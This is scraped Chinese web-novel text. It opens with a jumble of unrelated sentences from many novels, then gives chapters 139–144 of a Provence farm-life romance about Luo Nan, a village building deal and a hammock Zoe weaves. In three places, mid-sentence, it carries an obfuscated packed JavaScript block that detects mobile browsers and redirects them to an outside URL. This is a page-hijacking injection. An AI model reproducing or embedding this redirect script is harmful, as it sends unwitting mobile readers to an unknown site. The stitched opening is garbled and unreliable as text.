不过,我寻思表姐和武舞是闺蜜呢,没准来了之后能够说服她们住在一块,那样也成,只不过到时候,我要和武舞亲热也不方便了,还有,表姐那边也有些不方便。 头顶上有树叶摩擦的“沙沙”声,很轻,不过在他听来,却是有人到来的迹象。 只是麒麟哥什么都没说,骢毅看了看麒麟哥,骢毅断定,麒麟哥一定是害怕惹怒自己。 龙老镖头大惊,用力回收之时,那鞭却直向自己胸口撞到,肺腑间霎时有如千斤铁锤重击,喉头一甜,喷出一大口鲜血。 不一会,林思琪得逞,成功的将金莲骗了过来,冲着我们一行人等做了一个v字的手势。 不过谢童看向一旁的冰莲心,那么这个妹妹是怎么回事还没说呢。 见识到杨右的强大之后,他感到深深的懊悔。这么强大的师傅他竟然背叛了? 花婉儿却是抱得更紧了,美眸中泪花转动,脑袋摇得像拨浪鼓似的。 “林天佑,你来这里干什么?我上次已经警告过你,不要再来纠缠,我是不可能嫁给你,马上滚出星月学院,再让我见到你在面前出现,对你不客气。”薛凝一副颐指气使的样子骂道。 “我是谁?!你嫩了点!” 龙阳不屑一顾,此时他真的有些放纵。毕竟他不知道行动的内容,还要受着被跟踪的难耐。 这一掌他挡不住,只是到了这时候,再想要逃已经来不及,眼见陷入了绝境。 事实上,按照芒哥最初的剧本,这会儿林坚应该已经完蛋了,而理查德森会和亚历山大来一场充满话题性的黑白对决,所以理查德森和亚历山大都是将对手当作假想敌来看的。 第139章 全村所有人的乐趣 自己辛辛苦苦求来的一次节目通告,竟然被对方的一次网络直播活动给打败了? 汪雅琳、蔡煜婷都是一副没有意外的神情,在她们看来,林启华入围,是再正常不过的事了,纷纷向他表示恭喜。 “唐朝”酒吧也装饰一新,处处充满了新年的气息,连工作人员都穿的很喜庆。 神窍境的男子亦飘上虚空,此时他通体发光,在做‘最后的挣扎’。 幽帝想了很多,他不能不多想。他不是那么在意邪修的溃败……若果是之前的话,他是真的不在意,因为他对邪修,既不存在感情也没有什么太大的利用价值。他也看不上邪修的很多人了。 这帮家伙看向王逸时,猛然发现了沈冰儿,同时一愣,随后一阵怪叫,争先恐后的走了过去,看那架势,根本拦不住。 甚至毫不夸张的说,大部分的人类,都不希望世界突然回到两百年前,因为根本适应不了。 平时还跟着老师傅学过武术,每日里打熬筋骨,三年后就打下来扎实的基础。 千年以前,就有人在外界和仙家一起建立洛组织,为的就是有朝一日,推翻各个仙家对于仙界的统治。 角落里,比阿特丽斯·玛丽亚悄悄地看着一边,她身边没有其他人,只有一把吉他陪着她,所以,看着林启华和哲罗姆谈笑风生,眼中有一丝羡慕。 否则的话,这次一旦让老头占了上风,他怕是要时不时的说教一番。 赵卫国愣愣地提着那个手提袋,心里突然就有些异样的感觉,让他很抵触,但又莫名觉得若是他错过了或许将来会后悔。 而散开的众人,因为没有再收到老祖的指示,一个个都放松了下来。以为他们离开,老祖也默许了。 钟希望拿出当初从梓芳那里买来的一套精美的茶餐具,给两人倒上茶水,又将颜玲玲带来的紫薯饼,以及她之前做的绿豆糕和桂花糕,每样捡了几块放进点心盘内端上来。 别的不说,就说卞靥惹怒嘉熠的那几次,哪次不是她自己不懂事先挑起事端?这样的人,你说她乖巧? “嘿嘿,你这么可爱,我怎么忍心杀你呢。”眼镜男笑着说了一句,还伸出舌头跟个变态似的在何佳的侧脸上,慢慢舔了一下。 她这段时间,没有再去余记,从那天看了那封信以后,她心里就一直不太舒服。 楼海后来打听才知道,原来司空寒怕是动了凡心。难怪,这次他司空家要避世而居。 也不知道这个家伙实力怎么样,如果正面硬抗,能不能干翻对方。 展云歌白了他一眼,她的玉笛可是有器灵魂魄存在的,可不是他那把匕首能比的。 司马艳君不再言语,手印不断变化。沧桑之气再起,寒气袭来,风麟竟也有些惶然。 金凤血脉和烛灵圣火正在猛烈的碰撞,剧烈的血脉冲突之下,风麟心脉已然受创。 它收回象牙,缠绕左护身体的金色头发,也慢慢缩回去!将左护从半空丢在地上。 坤尤已经在那里等待多时了&nbp;。左护冷眼观瞧着他那张贼头鼠目的猥琐模样&nbp;,知道平时希蒙从来不会给这种人好脸色&nbp;,&nbp;所以&nbp;,&nbp;故意摆出倨傲的神色给坤尤看&nbp;。 豪哥在一旁想叫又不敢叫,脸憋的通红,甚至血又开始渗了出来。 当然他此行不是结怨而是有事相告,得为曲灵风那厮考虑考虑不能做得太过。尽管他觉得自己的手段一定可以破开眼前大阵,却也不想给黄药师留下什么恶劣印象,又或者破坏了这处神奇的桃花大阵。 可随着叶修身上,利箭越来越少,天随之恐慌了起来,这才想起了叶修说的话。 “哼!”周天轻斥一声,随即灵魂之力外放,浓浓黑雾萦绕而上。 在晕过去的前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860098|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻,姚光体内的药力封锁终于完全接触,进而流露出一丝星力。 “你是说,离开阴魂缭绕的疗养院,把工作辞掉?”我只能想到这个方法。 就在这时,只听附近夜空“砰”一声闷响传来,仿佛一枚鞭炮骤然升空,却是一枚哑炮。霎时,一阵劲风刮面而来。 “前辈,其实这次找您,不只是和您道谢,还有一件事情需要您的帮忙。”冷墨并没有因为已经超过眼前的前辈而沾沾自喜,因为他明白,若不是眼前的灵神夜,他根本就没有今天的成就。 行军参军分为管勾、勾当、承事三个层级,都是有职掌的,王秀设立时就对应作战部长、作战科长、作战组长三个层次,最低级的行军参军为承事行军参军,基本都是从九品,最高级别的承事行军参军,设为枢参内设从七品。 “我明白你的意思了,你就是想抓他们一个现行,然后以此来威胁他们,对吗?”老太婆恍然大悟道。 村里那八个汉子早前在这坟墓里挖掘出一块异常的木板,众人一一过手,毫无疑问,那块木板便是那白虎交臂上的形煞之物。 “你们俩再说就从这家里滚出去!咳咳咳……”林清远生气地大吼,结果却动了气,一直在不停地咳嗽着。 中年人盯着庄一尘的眼睛看了一会儿,却发现那里面只有坚定。“好 吧,我表示很遗憾。”他笑了一下,然后端起茶杯狠狠的灌了一大口。在心里对庄一尘的评价又加了一条,沉稳淡然,宠辱不惊。 就像他这次回来,她狂喜,深深的爱恋着他,但也仅仅,抱着一种能过一天是一天的念头,从来没有想过两人会有未来。 他很想不顾禾灵的阻拦,直接跳出去将王昊那张可恶的脸给撕烂了。然后再跟周围这些不敬上位者的垃圾点苦头尝一下,然而,禾灵这一喝却让他清醒了不少,至少让他知道了,在他们这支队伍里,到底是谁说了算。 第140章 挡不住的幸福 【乘坐心爱的车辆出行幸福度增加5点】 【乘坐心爱的车辆出行幸福度增加4点】 【乘坐心爱的车辆出行幸福度增加4点】 村民们玩得开心的同时,也给罗南带来了巨大的快乐。 又多出一种【幸福度】的获取途径! 这一下午,罗南系统里的幸福度数值像心跳一样跳起来没完 一直以来,他都感觉他这个未婚妻与自己总有一种莫名的隔阂感。 跟单独和李千帆在一起的时候完全不同,此刻的顾诗曼依旧是那个高冷如雪的冰山美人。 浸湿了的睡衣贴在南宫雅凸凹有致的身体上,甚至比脱光了都更加让人血脉喷张。 “我们走。”鹰野并不打算理会男人,收起木牌带着人就准备走。 崽多多已经屏蔽印记,泽塔与她即使有结侣印记,也没有了任何感知。 “有,你先吃着,我去给你采。”凤烬起身去外头又端来一盘烤好的肉,随后离开了山洞。 盛紘能有今日,固然有王家帮衬,和他本人圆滑谨慎有关系,但是盛维的资助也至关重要。 金红色的狮虎气浪与怨灵的攻势在空中对峙着,仿佛两只巨兽在激战。 史陀突然想到鲍里斯这个王八蛋的炮弹竟然不下心落在了大华的国土上。 现在东方靖将好几年前的旧事重提,此次前来的目的想来也并不友善。 阮敬远将车门打开,他和她上了车,他就坐在她的旁边,她这才感觉到他身上熟悉的气息,只是雪茄的味道更浓些,她侧头看他,他的脸微微朝向车窗个,面容有些清瘦,胡子刮得很干净。 逸林气愤异常去找司徒萧,却被阮敬远拦住,说少帅不想见他,他若不是为了妹妹忍住,当时就拨枪将那些个侍卫结果了进去找司徒萧。 “只为谨慎起见。少主若要责罚,老朽一人领罪。”汪鸿拱手道。 望幽森林是危险的,实力再强的人也不敢保证不会遇到危险,就算是圣级强者来了,要是遇到了超级魔兽,到时候能不能安全走出望幽森林那也不好说,更何况是联军这样实力还算不上最顶级的佣兵团呢? 就在这时,她才发现叶承轩不见了,她问身旁的周经理叶少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860099|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢? 从来阴骘能回福,举念须知有鬼神。“高拱微微有些脸红,思索了许久,疑惑的摇了摇头。 话音落后,他的眼中立刻带着几丝冷意,看了她半晌。她脾气一上来,也不计较后果,什么话都敢说。 他集中全部精力死死盯着吴子兮的双目——这双灰暗阴郁的,似乎对什么都漠不关心的眼睛让谢君和憎恶。似乎只有这样才不会被周身的痛苦所吞噬。 “是什么可能让你改变看法的?”古登好奇地问了出来,而其他人也都竖起耳朵,仔细的听着李彦的回答。 “混账,好大的口气。”江长青勃然大怒,身为合体境强者,竟然接连被两名天婴境武者轻视,他如何能忍。 那些人此刻做好打算,一旦到达外面,就把楚天抓起来,然后交给他们门内的人。 而最后解除的永夜之城,当天地之间的星光散开,无处飞逸的星辰之力最终重新被她所吸收,才算是缓解了她的伤势,这便是曦彻为何坚持由她来解除永夜之城的原因。 “对了!欣柔,你们咋突然想到要捐赠东西的?”叶凡好奇的问道。 第141章 申请理由:罗南 最近这段时间,卢尔马兰政府可谓是喜忧参半。 喜的是有20个多个村民向市场管理中心提交了参与集市的申请,要知道在这之前,卢尔马兰集市的总摊位数不过才70多个。 在普罗旺斯,集市文化非常重要,集市规模扩大就能吸引来更多人的关注。 从这件事上来看,卢尔马兰的‘振兴之路’无疑迈出了非常重要 刘行向出声的地方看去,见一层楼高的地方,仙气之上,有个类似展台的地方,一位老者正大马金刀地坐在展台上,双眼炯炯看着自己。 御风在她的搀扶下回到了房间里。慕梨潇再次用楚姨给的药方为他处理了伤口,然后把他扶到床上睡下。自己也睡到了榻上。 所以刘勇才向许志恒问了这么一个问题。虽说卡片上面写的也算比较清楚,什么“恒通集团股份卡”但是刘勇还是不太明白,主要是刘勇还没有涉及到这方面来。 “你说吧,为什么要这么说我们?”琪恩嘟着嘴,一副心不甘情不愿的样子。 赵温顺的举动,竟然得到了同‘门’师叔同‘门’师兄们的全力称赞。 只见此时的亚尔丶释轻轻的叹了口气,缓缓的闭上了他那既兴奋又悲伤的双眼。 “你说什么?景阑不在医院了?不是说他中毒了吗?他现在不需要再医院呆着吗?为什么要让他离开医院?”夜翔飞板着脸,眉头紧皱的问医生。 “仿佛在他们身上看见了当年的我们呢。”云飞羽笑了笑,说道,似乎也是在夸赞自己。 蒲云清本来是想说为什么要这样子做,但是却不会想到许多事情会变得如此麻烦,也许在这一刻,许多事情就是如此明明白白的。 不过孙道隆显然并没有把楚枫当回事,他慢慢起身,抬脚从林墨雪的身上迈过,身上的气势也随之释放出来,压得厅内众人都喘不过气来。 丁忠路可没想到自己这一通电话打的反倒把自己给打进局子了。顿时嚷嚷起来。不过早就对他不满的这些交警给他来了几下狠得。这家伙顿时老实了。不过嘴里还嘟囔着。等以后他的报复。 所以想要用这对组合,目的就是让他们两人互补,如今看来,自己的方式也收到了效果,两人一直以来合作的都非常好,毕竟大家都是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860100|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些意气之争根本没意思,大家一起赚钱才是真的。 但是现在他只有4艘052e导弹驱逐舰,这就是过去底子太薄,就算这几年全力开动建造,制造的速度也赶不上需求。 现在杜克好不容易让神龙计划进入项目团队自行运转的良好状态,将时间抽出来建设和完善比莱姆提出的星际超远程通讯中心,哪里有多少空闲时间来搞这个。 孩子们的骄傲看在赵兴眼里,他没有阻止孩子们炫耀,反而带着鼓励的目光,像个娇惯的家长一样纵容。 这样的分工充分利用了双方的特长,对于直升机、舰船驾驶方面技能来说,索瓦兹他们明显要超出一大截。 “已经是晚膳时间了?”云想容掩口打了个呵欠,叫英姿打水来洗漱。 要知道,九二年的时候,他这个保安在这里每个月就能开上四百多块钱,对于一个普通家庭,又没什么学历的人来说,这并不低了。所以他很珍惜这份职业。 菊花不敢答了,这要是再探讨下去,得一个物理老师来跟他们解释才成,自己肯定不成的。哪天倒是可以跟他们说说光速的问题。 第142章 楼王! 不等罗南回复,布兰科继续说道: “这栋建筑在整条‘商业街’最好的位置,来喷泉广场的人一定会路过这里,说不定他们还会坐在餐厅外面欣赏喷泉,你知道的,游客们都喜欢坐在外面吃饭。” 他指着另一侧说: “那里,未来会有一颗几百年的老树,你可以把户外桌椅一直摆到那个区域.上帝,那会多么有情调?坐在几百年的古树下,看着现代设计最美丽的喷泉,还有美酒和好吃的食物。” 罗南想说些什么,再次被布兰科打断: “未来我们还可以给你的餐厅做指示牌,当做卢尔马兰特色宣传出去,你只需要好好经营餐厅就可以,其他的不需要担心,卢尔马兰劳动节的游客量是去年同期的1倍多,现在在这里开餐厅一定可以赚到钱的,请你相信我!” “我知道,布兰科——”罗南不停的招手,希望他停一停,但布兰科越说越亢奋,甚至不顾安危,进入了这座还没竣工的建筑内部。 罗南冒着生命危险进去想把他拉出来,可布兰科像是被某些‘恶魔’附体了一样,停在靠窗的某个位置张开双臂,用更加激动的语气说: “这里还有一个巨大的后院,坐在这里用餐的客人可以一边吃饭一边欣赏美丽的吕贝隆山谷,它的风景完全不逊色博尼约和戈尔德!” 布兰科闭起眼睛,深呼吸了一口,沉醉的说: “我已经可以感受到穿过建筑内部,见到露天院子时的激动心情了。” 他猛地回头,双眼通红的问罗南: “你感受到了吗?” 罗南胆战心惊的说: “我只感受到了危险.布兰科,我们出去聊可以吗?” 布兰科像泄了气的皮球一样,萎靡下去。 罗南并没有被他‘激情澎湃’的演讲感染到.但他已经尽力了,这段台词他在家里对着镜子练了好几次。 罗南把布兰科引到安全的街道上,找了个干净的地方坐下来,指着左右两侧说: “很棒。” “什么很棒?”布兰科还没有从‘懊恼’的情绪中走出。 “这条商业街很棒。”罗南笑着说。 “你真这样觉得?”布兰科皱着眉毛坐到罗南的身边。 “当然!”罗南语气欢快的说,“这里补全了很多卢尔马兰的短板,让它和那些明星村子的差距缩短了许多,我相信它建成后一定会吸引来更多的游客,并可以让他们的旅行体验提升一大截。” “你真这样觉得?”布兰科问出了同样的话,不过表情从不相信转为了‘激动’。 你真觉得这条商业街可以帮助卢尔马兰? 罗南的语气柔和下来: “你做的每一个决定都很正确,无论是卢尔马兰‘振兴’计划,还是这条商业街,我说真的你这家伙的眼光不是一般的准。” 罗南知道卢尔马兰在未来的走向,虽然不知道具体细节,但肯定离不开村长布兰科一个又一个的‘决策’。 这个和善的村长是个非常厉害的家伙。 “那你愿意在这里开餐厅吗?”布兰科期待的问。 罗南没有马上给出答案,而是问道: “我听父母说,每个月要支付一定的‘租金’,那大概需要多少?” 布兰科给罗南报出了希尔维‘打折’后的数字: “每个月的成本在1750法郎左右,但不全是交给政府,还有保险。” 法国的房屋保险费用极其昂贵,罗南直到今天都没舍得买。 不过做商业性质的房屋必须购买保险,否则很多手续无法办理。 房屋保险大体由四部分组成。 第一部分是保障房屋在火灾、水灾、盗窃和破坏等情况下的风险。 第二部分用于赔偿房屋内部住户行为造成的第三方损失,俗称民事责任险。 第三部分是保障住户的个人财产安全,也叫房客财产险。 最后一种是第三方责任险,保护邻居财产因你的原因造成的损失。 听到这个数字,罗南理解村民们不积极的原因了。 这笔费用对于他们来说太高了.连罗南都会觉得心疼。 “太贵了。”罗南摇着脑袋说。 布兰科解释道: “政府这里的价格已经压缩到了极致,你知道的,保险的费用没办法压缩。” 罗南看着那栋楼问: “为什么不设计成一层,要建成三层的建筑?” 布兰科苦笑一声: “一是考虑到和卢尔马兰其他建筑的风格统一性,还有就是在建筑初期我就预想过本村村民有可能对这个项目不太感兴趣,只有那些通过旅游业赚到钱的人才会来,所以他们在这里开店的同时,也需要在卢尔马兰有一个‘家’。” 罗南眼前一亮。 果然可以居住。 他看了看这四周,又回忆了一下布兰科刚刚给他描述的这里未来的样子。 几十米外是卢尔马兰唯一的博物馆,附近‘配套’齐全。 面前是地标建筑喷泉广场,身后同样是吕贝隆的美景,还能看到建于15世纪的卢尔马兰城堡。 说不定以后这里还会成为整个卢尔马兰村房价最高的地段 不,是最贵的建筑! 这可是‘楼王’! “只能租吗?不能买?”罗南指着‘楼王’问。 未来无论是他搬来,还是父母搬来,都是个非常不错的选择。 一个房子‘清静安宁’,一个房子‘热闹繁华’,这搭配完美! 而且最重要的一点是——它未来一定会升值。 这个问题把布兰科难住了。 政府从来没想过这个问题. “你想买?”布兰科小心翼翼的问。 罗南起来拍了拍屁股上的灰尘: “我不喜欢用‘别人的东西’,但我需要先判断开餐厅是否真的赚钱,所以我可以先租一阵子,不过未来必须拥有这栋楼的‘购买权’,你们先考虑下这个合作形式是不是能接受,如果接受再给它估个价吧。” “哦,对了,是有‘诚意’的价格。”说完罗南对布兰科挥手再见,“考虑好了来老酒馆找我吧。” 罗南背对着布兰科撇了一下嘴。 反正着急的不是我。 万一又‘捡漏’了呢? 第143章 装饰后院 等待布兰科回复的日子罗南过的既悠闲又规律。 早上起来干干农活,上午10点钟准时去老酒馆避暑,中午回家时饭已经做好,吃完饭和父母聊聊天、陪两条狗玩一会继续去老酒馆喝酒,太阳稍微下去一些,再回家继续干上午没干完的农活。 偶尔聚会,没有聚会的日子和父母一起做晚饭。 晚上时常去和维埃里踢球,也会和佐伊去夜游。 总之每天日子过的幸福的不得了,系统的声音一天能出现十几、二十次。 不过幸福归幸福,有一件事给罗南造成了极大的困扰! 晚上8点多。 卢尔马兰村外的乡间小道上。 除了不间断的蝉鸣、偶尔的鸟叫声外,还有一道奇特的声音,每过几分钟就会出现一次。 “哈——”罗南又打了个哈欠,眼眶微微泛红。 佐伊看手腕上的表: “你的困意比闹钟还准时。” 罗南揉了揉眼睛: “每天起的太早了啊,5点钟起。” 普罗旺斯的夏季正式开始了。 每天的气温在35度以上,只有早起干活才能少吃点苦,农夫们都是这个作息。 佐伊换了个‘夜游’方向,向有光亮的村里行进: “村民们大部分都是这个时间起,但你看看现在家家亮灯,正是最热闹的时候,你啊你,说了多少次.要午睡。” 罗南苦闷的摇头: “我也想午睡,但睡不着” 这是他和普罗旺斯人永远无法同频的地方。 佐伊做思索状: “有试过换个睡觉环境吗?” 罗南点头: “有,在卧室睡不着,我尝试去客厅沙发睡,还去过院子里的树下睡,都没用。” “看书呢?”佐伊继续问。 罗南冷笑一声: “越看越精神。” 佐伊不解的看向他: “你看了什么?” “《狩猎执照考试:理论问题官方手册》。”罗南一想这事就开心,困意全无。 他已经收到狩猎执照,吕贝隆的狩猎开始日期是9月中旬,再过三个月他就可以去打猎了! 佐伊无语的反问: “你怎么能看那种书‘助眠’?” 那肯定越看越精神啊. 罗南精明的时候特别精明,傻的时候也是真的傻。 “我家没有其他书”罗南耸肩。 他带来普罗旺斯的行李不多,之后也没机会买书。 “一会跟我回家,给你拿一本维埃里的数学课本。”佐伊‘不容置疑’的说。 “不不不——”罗南阻拦道,“我看教课书不会困,只会恶心,从小就这样看它更睡不着了。” 佐伊审视了罗南几秒,确认他并没有说谎,叹气道: “但我的书也不适合你啊。” 罗南路过佐伊的卧室,见过里面有一个巨大的书柜。 那么多书没有适合我的? “你都看什么书?”罗南和她并排走到一起。 佐伊抿嘴道: “很小众的书。” 罗南挑眉,坏笑着问: “萨德侯爵的作品?” 他和佐伊只讨论过那一次‘文学作品’。 罗南预想中佐伊‘面红耳赤’的场面没有出现,相反的,佐伊却说了一句让他始料未及的话: “那类作品我更喜欢看电影版,既然在追寻感官的刺激,就做到极致,有画面的更直接。” 佐伊以反击者的姿态,似笑非笑的回看罗南。 一个巴黎来的腼腆小伙子,要和普罗旺斯女人比‘大胆’和‘张扬’吗? 更何况我还是搞艺术的 罗南开始顾左右而言他: “对了,这附近没有看电影的地方?” 佐伊暂时放过他: “想去电影院要去阿普特或者艾克斯,不过到了夏天,老教堂的广场里经常会放电影,应该就快开始了。” 罗南没有看露天电影的经验,好奇的问: “放老电影吗?” 佐伊摇头: “布兰科是专业的电影人,他会找最新上映的电影给村民们看。” 罗南眼前一亮: “还可以这样?” 那不是和电影院一样? 而且比电影院的环境更好! 佐伊笑着说: “什么时候看到村民还没吃晚饭就搬着椅子出去,就说明当晚有电影放了。” 罗南期待的看向老教堂的方向: “走,我们现在就去老教堂看看,说不定今天那里有其他活动呢。” 罗南是卢尔马兰近期最炙手可热的焦点人物,一举一动都被人关注着,佐伊是卢尔马兰公认的‘璀璨明珠’,他们两个的‘绯闻’在卢尔马兰村里的讨论度比总统大选还要高。 王子真的可以娶到公主? 童话里居然不是骗人的吗?! 为了落得清净,罗南和佐伊的‘夜游’计划已从村里发展到了乡间小路上。 不过为了看热闹,罗南愿意带佐伊去村里绕一绕! 怎料佐伊拉着罗南去了另一个方向。 “去哪儿?”罗南疑惑的问。 佐伊悠悠开口: “你家。” “这么好的地方、这么好的风景怎么会睡不着呢?”佐伊站在罗南家后院的几棵樱桃树下,眉毛不禁皱了起来。 普罗旺斯人都有午睡的习惯,但有很多人和罗南一样也很难在家里睡着,因为那个时间屋子里的温度挺高的。 大家通常会选择在户外阴凉舒适的地方睡一会。 佐伊记得罗南家院子挺大的,就想过来给他找一个好的午休地点。 结果发现罗南之前选择的地点非常好。 她家住村中心,户外区域有限,但罗南躺在自己家后院,可以看到整个吕贝隆山谷。 这么好的地方,怎么会睡不着呢? “确实睡不着。”罗南无辜的耸肩。 佐伊环顾四周,突然想到什么,问罗南: “你躺在哪里睡?” 两分钟后。 佐伊看着面前几把寒酸的椅子问: “你就用四张椅子拼了个床睡?” 罗南嘿嘿笑了两声: “说实话,这已经是升级后的版本了,最初我只有两把椅子。” 佐伊双手抱胸,表情严肃: “这太不舒适了。” 她似乎找到了关键。 罗南看着四周解释: “这里没有可‘躺’的东西,只能用椅子拼。” 佐伊观察了罗南家的院子一会: “明天我来给你送些书。” 罗南笑着说: “其实,真的不一定要午睡,这没有影响我什么。” 佐伊冷哼一声,转身离开罗南家: “但这影响到了我。” 你一直打哈欠,我哪舍得让你陪我出来‘夜游’啊? “亲爱的,这么早就回来了?”莉亚听到开门声,去厨房拿了一些当季的樱桃,“吃点水果吗?” “不吃了。”佐伊回到自己的卧室,不多时换了一条浅蓝色的背带裤出来。 莉亚疑惑的问: “都几点了,还要工作?” 这是佐伊平时工作穿的衣服。 佐伊把金色长发快速盘起来,打开家里小储物间的门: “妈妈,你还记得我上学时买的那些做手工的编制绳放哪里了吗?” 同一时间,罗南家。 冯珍坐在沙发上看法国文化台播的爱情电视剧,罗天海坐在用餐区的椅子上,教马赛‘握手’、‘换手’。 罗南在厨房区域走了两个来回,又看了一会窗外,突然扭头对父母说: “咱们把院子布置出来吧?” 夏天后,各家举办的聚会都从室内搬到了室外。 室外更加舒服和凉快。 罗南之前也想过把院子整一下,但又想多存点钱开餐厅,所以迟迟没有行动。 今天佐伊来过之后,他突然意识到,坐拥那么好的风景和条件,不利用上太浪费了。 布兰科那边迟迟没有动静,不一定最终是什么情况,而且那些楼完全竣工还需要一些时间,现在还没封顶呢。 他刚刚仔细计算了一下,只做一些基础的后院布置花不了多少钱。 冯珍抛下电视剧,走到罗南身边,跟他一起看窗外: “你想怎么弄?” 罗南摸着下巴想: “至少得有一个大餐桌。” 户外家具可以去多库那里买石材的,成本可控。 冯珍幻想了一下,脑子里终于有画面了: “可以再建一个小的户外厨房吗?” 我看别人家都有. 罗南点头: “可以啊,当然可以!” 罗天海也走过来,和老婆儿子站成一排。 罗南看了一眼父亲: “再弄一片可以在户外休息聊天的地方,怎么样?” 冯珍和罗天海同时兴奋的看罗南: “咱们什么时候开始干?” 第144章 无所不能的佐伊 说干就干,当天晚上罗南就开始筹划起来。 后院的地面需要先做一些找平处理,那不是他能完成的,需要找专业的人。 而他的第一选择,就是曾给他留下过深刻印象的工匠卡福。 谢天谢地,卡福的电话打通了。 罗南先是和卡福进行了一小段没有营养的寒暄,当气氛热起来后,他才小心翼翼的问: “我这里有一个小活,你只需派两个伙计来就可以完成的那种,有兴趣接吗?” 罗南清楚记得,在他和卡福短短的3天零3个小时相处中,听这个家伙抱怨了至少30次‘又有不舍得花钱的人给他打电话询问不赚钱的小活了’。 真巧啊,罗南恰恰就是那个不舍得花钱的人,而且这也是个不怎么赚钱的小活。 不过卡福的态度倒是挺热情: “夏天游客们来了,我们的活儿变少了,如果你不着急,可以等我忙完手里的事情,亲自过去看一看,院子不像是房子,我要现场查看一下情况。” “可以,没有问题!” 罗南和卡福约定在几天后见面详聊,但罗南家的后院‘美化’计划,在第二天便提前开始了。 第二天。 罗南吃完午饭准备出门,见到佐伊顶着大太阳出现在门口,手里还拿着一团像渔网一样的东西和一个袋子。 “这是什么?”罗南指着佐伊手里的东西问。 佐伊得意的把它们打开展示: “帮助你午睡的‘床’。” “这是你自己编的?”冯珍围着吊床惊讶的嘴都闭不上。 上帝啊,佐伊也太厉害了吧! 我连针线活儿都做的磕磕绊绊,她居然可以把绳子变成一张床? 佐伊语气淡淡的说: “我上学的时候迷恋过一阵手工绳艺,还好没有全部忘掉,其实它挺简单的。” 罗天海不懂这种工艺,但他能看出这绝对没有佐伊说的那么‘轻易’: “费了不少时间吧?” 臭小子真是好福气! 佐伊笑了笑,把散落的刘海整理到耳后: “没有,这真的很简单,没有你们想的那么复杂。” 冯珍不想耽误罗南和佐伊的相处时光,对罗天海使了个眼色,找了个理由离开,留他们二人在原地。 罗南看着佐伊,语气复杂的问: “你到底会多少东西?” 据他所知,陶艺和玻璃是两种制作方式,但这两种不同工艺的东西佐伊都会做。 她会木工,现在又编了一个吊床. 布兰科在卢马尔马最应该重用的人才是佐伊,她一个人可以顶好几个人用! 罗南的父母离开了,佐伊的状态也轻松下来,迫切的把罗南推到吊床上: “快躺上去试试,我担心它的承重能力不够。” 罗南躺上去,身体随着吊床的摆动幅度左右晃动起来,开心的说: “很舒服。” “你试试能不能睡着。”佐伊始终扶着绳子,生怕罗南摔下来。 罗南瞪大眼睛: “我现在这么兴奋怎么可能睡着?” 佐伊用哄小孩的语气说: “你闭上眼睛,我和你聊一会天。” “这很奇怪啊——”罗南扬起脑袋,马上被佐伊‘摁’了下去。 “听话.闭好眼睛躺下。”佐伊用手盖住罗南的眼睛,还在上面轻轻拍打了两下。 【与异性发生亲密接触幸福度增加23点】 罗南只好听话的闭上眼睛,并把两只手放到肚子上。 他耳边,响起佐伊好听的声音: “听我妈妈说,我从小就很喜欢这种可以左右摆动的东西,一把我放到秋千上我就会笑,长大了我依然很喜欢这种感觉,你知道吗考大学前,我爸爸甚至为此和我认真聊过一次,他担心我将来要去做‘船员’。” 少女的笑声挠得罗南心里痒痒的,但他又不敢睁开眼睛看,不过即使闭着眼睛,依然能‘看’到佐伊的笑脸。 她的嘴角一定在好看的上扬着,她的眉眼一定是弯弯的。 “我也喜欢这种感觉。”罗南闭着眼睛笑着说。 “不要说话,好好酝酿睡意”佐伊的手离开罗南的眼睛。 罗南听到袋子摩擦的声音,随后是纸张滑动的声音,最后是椅子挪动的声音。 佐伊轻笑了两声,罗南能明显感受到她的气息打在自己的胳膊上。 “我带了几种不同类型的‘助眠’书籍,我们一个一个试。”罗南似乎‘看到’了她倔强的仰起眉毛。 “先从陀思妥耶夫斯基开始——”佐伊的语气轻柔下来,“阿历克赛·费多罗维奇·卡拉马佐夫是我县地主费多尔·巴夫洛维奇·卡拉马佐夫的第三个儿子.” 罗南经常描述佐伊是一个很棒的老师,其中有一个很重要的原因是她声音好听,且讲话有明显的抑扬顿挫,可以轻而易举的把听她讲话的人带入到她描绘的‘故事’中去。 在她轻柔的声音引领下,罗南渐渐有了睡意,但与之同时,他又能清晰的感受到打到他胳膊上的气体越来越近、温度越来越高。 当他的大脑快速运转以至于睡意全无时,一个柔软、温热的物体轻轻‘撞’到了他放在肚子上的手臂。 罗南睁开眼,见到佐伊趴在他的胳膊上,眼睑紧闭,呼吸平稳,表情宁静,似乎在享受一个无忧无虑的梦。 他又看向佐伊的脚下。 